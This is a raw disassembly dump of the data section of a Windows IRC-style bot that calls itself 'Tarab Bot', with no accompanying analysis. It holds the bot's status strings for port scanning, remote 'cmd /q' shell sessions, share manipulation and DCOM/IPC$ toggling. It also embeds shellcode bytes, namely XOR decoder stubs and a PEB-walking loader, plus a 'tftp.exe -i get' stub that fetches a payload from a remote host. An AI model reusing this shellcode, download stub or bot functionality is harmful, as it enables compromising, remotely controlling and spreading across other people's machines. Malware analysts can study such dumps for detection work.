aProcessListFai db 'Process list failed.',0
align 4
unk_437C98 db 2 ; DATA XREF: sub_4150C3+86o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessListCom db 'Process list completed.',0
unk_437CD0 db 2 ; DATA XREF: sub_4150C3+19o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aListingProcess db 'Listing processes:',0
align 4
dword_437D04 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_415208+1E9o
dd 2029671Fh, 2BBBB02h
aUserLoggedOutS db ' User logged out: <%s@%s>.',0
dword_437D3C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_415208+1C2o
dd 2029671Fh, 2BBBB02h
aErrorSessionru db ' Error: SessionRun(): <%d>.',0
align 4
dword_437D78 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_415208+1A2o
dd 2029671Fh, 2BBBB02h
aUserLoggedInS@ db ' User logged in: <%s@%s>.',0
align 10h
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_415208+172o
align 4
dword_437DC4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_415208+E1o
dd 2029671Fh, 2BBBB02h
aErrorGetpeerna db ' Error: getpeername(): <%d>.',0
align 10h
dword_437E00 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41540D:loc_41543Fo
dd 2029671Fh, 2BBBB02h
aProtocolString db ' Protocol string too long.',0
dword_437E38 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41544E+1Bo
dd 2029671Fh, 2BBBB02h
aLoginRejectedR db ' Login rejected, Remote user: <%s@%s>.',0
align 10h
dword_437E80 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41547D+218o
dd 2029671Fh, 2BBBB02h
aErrorServerF_0 db ' Error: server failed, returned: <%d>.',0
align 8
dword_437EC8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41547D+1E8o
dd 2029671Fh, 2BBBB02h
aFailedToSta_27 db ' Failed to start client thread, error: <%d>.',0
align 8
dword_437F18 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41547D+177o
dd 2029671Fh, 2BBBB02h
aClientConnec_1 db ' Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
dword_437F70 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41547D+106o
dd 2029671Fh, 2BBBB02h
aReadyAndWaitin db ' Ready and waiting for incoming connections.',0
align 10h
dword_437FC0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41547D+70o
dd 2029671Fh, 2BBBB02h
aFailedToInstal db ' Failed to install control-C handler, error: <%d>.',0
dword_438010 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41547D+3Do
dd 2029671Fh, 2BBBB02h
aErrorWsastartu db ' Error: WSAStartup(): <%d>.',0
align 10h
dword_438050 dd 736E6F63h ; DATA XREF: sub_415A3A+Fr
dd 74h, 0
dword_43805C dd 1 ; DATA XREF: sub_415A3A:loc_415A61r
off_438060 dd offset sub_415704 ; DATA XREF: sub_415A3A+4Ar
aLetter db 'letter',0
align 10h
dd 2, 415762h, 706D6F63h, 2 dup(0)
dd 3, 4157AFh, 6E756F63h, 797274h, 0
dd 4, 41581Eh, 736Fh, 2 dup(0)
dd 5, 415893h
dword_4380B4 dd 69257325h, 0 ; DATA XREF: sub_415704+40o
; .data:004157FFo ...
dword_4380BC dd 4350h ; DATA XREF: .data:004157CCo
dword_4380C0 dd 7C7325h ; DATA XREF: .data:0041584Do
dword_4380C4 dd 5D73255Bh, 7Ch ; DATA XREF: .data:00415957o
dword_4380CC dd 334B32h ; DATA XREF: .data:00415947o
dword_4380D0 dd 5D64255Bh, 7325h ; DATA XREF: sub_41599D+3Ao
dword_4380D8 dd 5D4D5Bh, 0 ; DATA XREF: sub_41599D+2Co
; sub_41599D+51o
dword_4380E0 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
; DATA XREF: sub_415AA4+92o
dd 2029671Fh, 2BBBB02h
aTarabBotIpSP_0 db ' Tarab Bot IP: %s Port: %d is open.',0
align 8
dword_438128 dd 72023602h, 28201F62h, 74726F70h, 6E616373h, 6C1F702Eh
; DATA XREF: sub_415B71+41o
dd 2029671Fh, 2BBBB02h
aTarabBotScanni db ' Tarab Bot Scanning IP: %s, Port: %d.',0
off_43816C dd offset dword_4381A4 ; DATA XREF: sub_415CC2:loc_415E77r
; sub_415CC2+1C3r ...
dword_438170 dd 0 ; DATA XREF: sub_415FE8:loc_416169r
dd offset dword_43819C
dd 0
dd offset dword_438198
dd offset dword_438194
dd offset dword_438190
dd offset dword_43818C
dword_43818C dd 5C3A44h ; DATA XREF: .data:00438188o
dword_438190 dd 2444h ; DATA XREF: .data:00438184o
dword_438194 dd 5C3A43h ; DATA XREF: .data:00438180o
dword_438198 dd 2443h ; DATA XREF: .data:0043817Co
dword_43819C dd 494D4441h, 244Eh ; DATA XREF: .data:00438174o
dword_4381A4 dd 24435049h, 0 ; DATA XREF: .data:off_43816Co
unk_4381AC db 2 ; DATA XREF: sub_415CC2+2E7o
; sub_415FE8+2DDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_4381EC db 2 ; DATA XREF: sub_415CC2+2D1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 4
unk_438224 db 2 ; DATA XREF: sub_415CC2:loc_415F2Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 10h
unk_438260 db 2 ; DATA XREF: sub_415CC2+263o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 4
unk_438294 db 2 ; DATA XREF: sub_415CC2:loc_415E9Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 10h
unk_4382D0 db 2 ; DATA XREF: sub_415CC2+1D3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 4
unk_438304 db 2 ; DATA XREF: sub_415CC2:loc_415DF4o
; sub_415FE8:loc_416116o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 8
unk_438348 db 2 ; DATA XREF: sub_415CC2:loc_415DEDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 8
unk_438398 db 2 ; DATA XREF: sub_415CC2:loc_415DD5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 10h
unk_4383E0 db 2 ; DATA XREF: sub_415CC2+10Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415CC2+EDo
; sub_415FE8+EDo
align 10h
unk_438440 db 2 ; DATA XREF: sub_415CC2+91o
; sub_415FE8+91o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 10h
dword_438480 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_415CC2:loc_415D35o
dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h
dd 2E6465h
unk_4384AC db 2 ; DATA XREF: sub_415CC2+6Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 10h
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415CC2+54o
; sub_415FE8+54o
align 4
word_4384EC dw 4Eh ; DATA XREF: sub_415CC2+38r
align 10h
unk_4384F0 db 2 ; DATA XREF: sub_415FE8+2C5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC_2 db '%c:\',0 ; DATA XREF: sub_415FE8+22Fo
align 4
aC_3 db '%c$',0 ; DATA XREF: sub_415FE8+21Eo
unk_438530 db 2 ; DATA XREF: sub_415FE8:loc_416195o
; sub_415FE8:loc_416260o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_438568 db 2 ; DATA XREF: sub_415FE8+1A6o
; sub_415FE8+271o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 4
unk_438598 db 2 ; DATA XREF: sub_415FE8:loc_41610Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 8
unk_4385E8 db 2 ; DATA XREF: sub_415FE8:loc_4160F7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
align 10h
unk_438630 db 2 ; DATA XREF: sub_415FE8+108o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43867C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_415FE8:loc_41605Bo
dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h
dd 2E64h
unk_4386A8 db 2 ; DATA XREF: sub_415FE8+6Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 4
word_4386DC dw 59h ; DATA XREF: sub_415FE8+38r
align 10h
dword_4386E0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416304+E2o
dd 2029671Fh, 2BBBB02h
aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0
align 8
dword_438728 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416304+59o
; sub_416304+8Fo
dd 2029671Fh, 2BBBB02h
aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0
align 10h
dword_438780 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416459+AFo
dd 2029671Fh, 2BBBB02h
aFailedToExecut db ' Failed to execute shell.',0
align 4
dword_4387B8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416459+7Eo
dd 2029671Fh, 2BBBB02h
aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0
align 4
dword_438808 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416459+5Co
dd 2029671Fh, 2BBBB02h
aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0
align 4
dword_438858 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416552+C3o
dd 2029671Fh, 2BBBB02h
aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416552+8Co
align 8
dword_4388A8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_41662B+8Do
dd 2029671Fh, 2BBBB02h
aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0
align 8
loc_4388F8: ; DATA XREF: sub_416979+BEo
jmp short loc_4388FC
; ---------------------------------------------------------------------------
loc_4388FA: ; CODE XREF: .data:loc_4388FCp
jmp short loc_438901
; ---------------------------------------------------------------------------
loc_4388FC: ; CODE XREF: .data:loc_4388F8j
call loc_4388FA
loc_438901: ; CODE XREF: .data:loc_4388FAj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_438906 dw 0FFFFh ; DATA XREF: sub_416979+C6w
db 80h, 73h, 0Eh
byte_43890B db 0FFh ; DATA XREF: sub_416979+CDw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_438910: ; DATA XREF: sub_416979+9Co
jmp short loc_438914
; ---------------------------------------------------------------------------
loc_438912: ; CODE XREF: .data:loc_438914p
jmp short loc_438919
; ---------------------------------------------------------------------------
loc_438914: ; CODE XREF: .data:loc_438910j
call loc_438912
loc_438919: ; CODE XREF: .data:loc_438912j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_43891D db 0FFh ; DATA XREF: sub_416979+A4w
dw 7380h
db 0Ch
byte_438921 db 0FFh ; DATA XREF: sub_416979+AAw
dw 0E243h
dd 0F9h
dword_438928 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_416802+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43898C dd 12h ; DATA XREF: sub_416802+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416802+79o
aJ db 'j',0
db 0E8h
dword_4389A5 dd 17h ; DATA XREF: sub_416802+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_4389AC
retn
; ---------------------------------------------------------------------------
byte_4389AC db 0E8h ; CODE XREF: .data:004389A9j
dword_4389AD dd 1 ; DATA XREF: sub_416802+45w
byte_4389B1 db 0, 6Ah, 0 ; DATA XREF: sub_416802+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_4389BB dd 0FFFFFFEDh ; DATA XREF: sub_416802+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_416B37+10o
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416D02+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416D02+35o
dword_438A3C dd 0F5BB9C9Ch ; DATA XREF: sub_417008+4w sub_417012r ...
dword_438A40 dd 173Fh ; DATA XREF: sub_4179A4+Dr
dd 9875h, 9873h
off_438A4C dd offset sub_417A73 ; DATA XREF: sub_4197B8r
dd offset nullsub_2
dd offset nullsub_2
dword_438A58 dd 1B3Fh ; DATA XREF: sub_417AEB+Dr
dword_438A5C dd 19930520h, 4 dup(0) ; DATA XREF: sub_417F6D+2o
; sub_417F76+2o
off_438A70 dd offset sub_4197F6 ; DATA XREF: sub_4199DA+1Cr
dword_438A74 dd 2 ; DATA XREF: sub_41F578+Er
; sub_41F5B1+46r ...
off_438A78 dd offset aNull_0 ; DATA XREF: sub_419B38:loc_419E9Cr
; sub_419B38+457r
; "(null)"
off_438A7C dd offset aNull ; DATA XREF: sub_419B38+259r
; "(null)"
off_438A80 dd offset word_438A8A ; DATA XREF: sub_417494+23r
; sub_417494:loc_4174F5r ...
off_438A84 dd offset word_438A8A ; DATA XREF: sub_422BB1+18r
db 2 dup(0)
word_438A8A dw 20h ; DATA XREF: sub_420D5E+18r
; .data:off_438A80o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_438C8C dd 1 ; DATA XREF: sub_417494:loc_41749Cr
; sub_417494:loc_4174E0r ...
byte_438C90 db 2Eh ; DATA XREF: sub_41C56F:loc_41C5AFr
; sub_41C5C9+4r ...
align 4
dd 1, 10h, 0
off_438CA0 dd offset off_438CA0 ; DATA XREF: sub_41B588+Do
; sub_41B588+69o ...
off_438CA4 dd offset off_438CA0 ; DATA XREF: sub_41B588:loc_41B608r
; sub_41B588+89w ...
dd offset dword_438CB8
dd offset dword_438CB8
dword_438CB0 dd 0FFFFFFFFh ; DATA XREF: sub_41B588r
; sub_41B6CC:loc_41B719w
dd 0FFFFFFFFh
dword_438CB8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .data:00438CA8o
; .data:00438CACo
off_43ACC0 dd offset off_438CA0 ; DATA XREF: sub_41B6CC+15r
; sub_41B6CC+20w ...
dword_43ACC4 dd 1E0h ; DATA XREF: sub_4178C7:loc_417903r
; sub_41914F+185r ...
dword_43ACC8 dd 14h ; DATA XREF: sub_41C2B8+2o
off_43ACCC dd offset aExp ; DATA XREF: sub_41C2B8:loc_41C2D5r
; "exp"
dd 1Dh, 423804h, 1Ah, 423800h, 1Bh, 4237F8h, 1Fh, 4237F0h
dd 13h, 4237E8h, 21h, 4237E0h, 0Eh, 4237D8h, 0Dh, 4237D0h
dd 0Fh, 4237C8h, 10h, 4237C0h, 5, 4237B8h, 1Eh, 4237B4h
dd 12h, 4237B0h, 20h, 4237ACh, 0Ch, 4237A4h, 0Bh, 42379Ch
dd 15h, 423794h, 1Ch, 42378Ch, 19h, 423784h, 11h, 42377Ch
dd 18h, 423774h, 16h, 42376Ch, 17h, 423764h, 22h, 423760h
dd 23h, 42375Ch, 24h, 423758h
dbl_43ADA0 dq 1.797693134862316e308 ; DATA XREF: sub_41BFF3+B7r
; sub_41BFF3:loc_41C0DAr ...
dd 0
dd 0FFF80000h
dbl_43ADB0 dq 1.797693134862316e308 ; DATA XREF: sub_41BFF3+92r
; sub_41BFF3:loc_41C0B2r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43ADC8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C4A0+Dr
; sub_41C4A0+1Fr
align 4
tbyte_43ADD4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C4A0+31r
align 10h
off_43ADE0 dd offset sub_41C934 ; DATA XREF: sub_417A8B+Fw
; sub_419B38+3AAr
off_43ADE4 dd offset sub_41C5C9 ; DATA XREF: sub_417A8B+5w
; sub_419B38+3E2r
off_43ADE8 dd offset sub_41C62F ; DATA XREF: sub_417A8B+14w
; sub_41D497+430r
off_43ADEC dd offset sub_41C56F ; DATA XREF: sub_417A8B+1Ew
; sub_419B38+3CBr
off_43ADF0 dd offset sub_41C617 ; DATA XREF: sub_417A8B+28w
off_43ADF4 dd offset sub_41C934 ; DATA XREF: sub_417A8B+32w
dd offset sub_42059A
align 10h
dd offset sub_41D1FC
off_43AE04 dd offset sub_41D1FC ; DATA XREF: sub_41D252+29r
dword_43AE08 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D497:loc_41D9FEo
dword_43AE10 dd 5Dh, 0 ; DATA XREF: sub_41D497:loc_41D8EEo
byte_43AE18 db 1 ; DATA XREF: sub_41E658+E1r
db 2, 4, 8
align 10h
dword_43AE20 dd 3A4h ; DATA XREF: sub_41E658+2Fo
dword_43AE24 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E658+11Dr
dword_43AE30 dd 0DFA6h ; DATA XREF: sub_41E658+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43AF10 dd 1 ; DATA XREF: sub_41E658+3Co
; sub_41EC6F+Co
dword_43AF14 dd 16h ; DATA XREF: sub_41EC6F:loc_41ECA4r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43B078 dd 0C0000005h ; DATA XREF: sub_41EC6F+19o
; sub_41EE17+Ar ...
dword_43B07C dd 0Bh ; DATA XREF: sub_421A99+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43B0F0 dd 3 ; DATA XREF: sub_41ECD6+58r
; sub_42196C+C8r
dword_43B0F4 dd 7 ; DATA XREF: sub_41ECD6+5Er
; sub_42196C+CDr
dword_43B0F8 dd 0Ah ; DATA XREF: sub_41EE17+4r
; sub_421A99+4r
dword_43B0FC dd 8Ch ; DATA XREF: sub_41ECD6+82r
; sub_41ECD6+8Fw ...
dword_43B100 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419A23:loc_419AE0o
; sub_41DF48:loc_41DFC9o
dword_43B108 dd 2 ; DATA XREF: sub_41F5B1+Eo
; sub_41F5B1+28r
off_43B10C dd offset aR6002FloatingP ; DATA XREF: sub_41F5B1+FCr
; sub_41F5B1+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 423B24h, 9, 423AF8h, 0Ah, 423AD4h, 10h, 423AA8h
dd 11h, 423A78h, 12h, 423A54h, 13h, 423A28h, 18h, 4239F0h
dd 19h, 4239C8h, 1Ah, 423990h, 1Bh, 423958h, 1Ch, 423930h
dd 78h, 423920h, 79h, 423910h, 7Ah, 423900h, 0FCh, 42941Ch
dd 0FFh, 4238F0h
off_43B198 dd offset dword_4897C0 ; DATA XREF: sub_41F5B1+1Bo
; sub_41F76E+55o
align 10h
dd offset dword_4897C0
dd 101h
dword_43B1A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41F76E+72o
dd 1000h, 0
dword_43B1B8 dd 3 dup(0) ; DATA XREF: sub_419A23+50o
; sub_41A5A2+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43B1D8 dd 3 dup(0) ; DATA XREF: sub_419A23+58o
; sub_41A5A2:loc_41A5C0o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43B208 dd 84h dup(0) ; DATA XREF: sub_41F76E+9Bo
dword_43B418 dd 2694h ; DATA XREF: sub_41BC55+3r
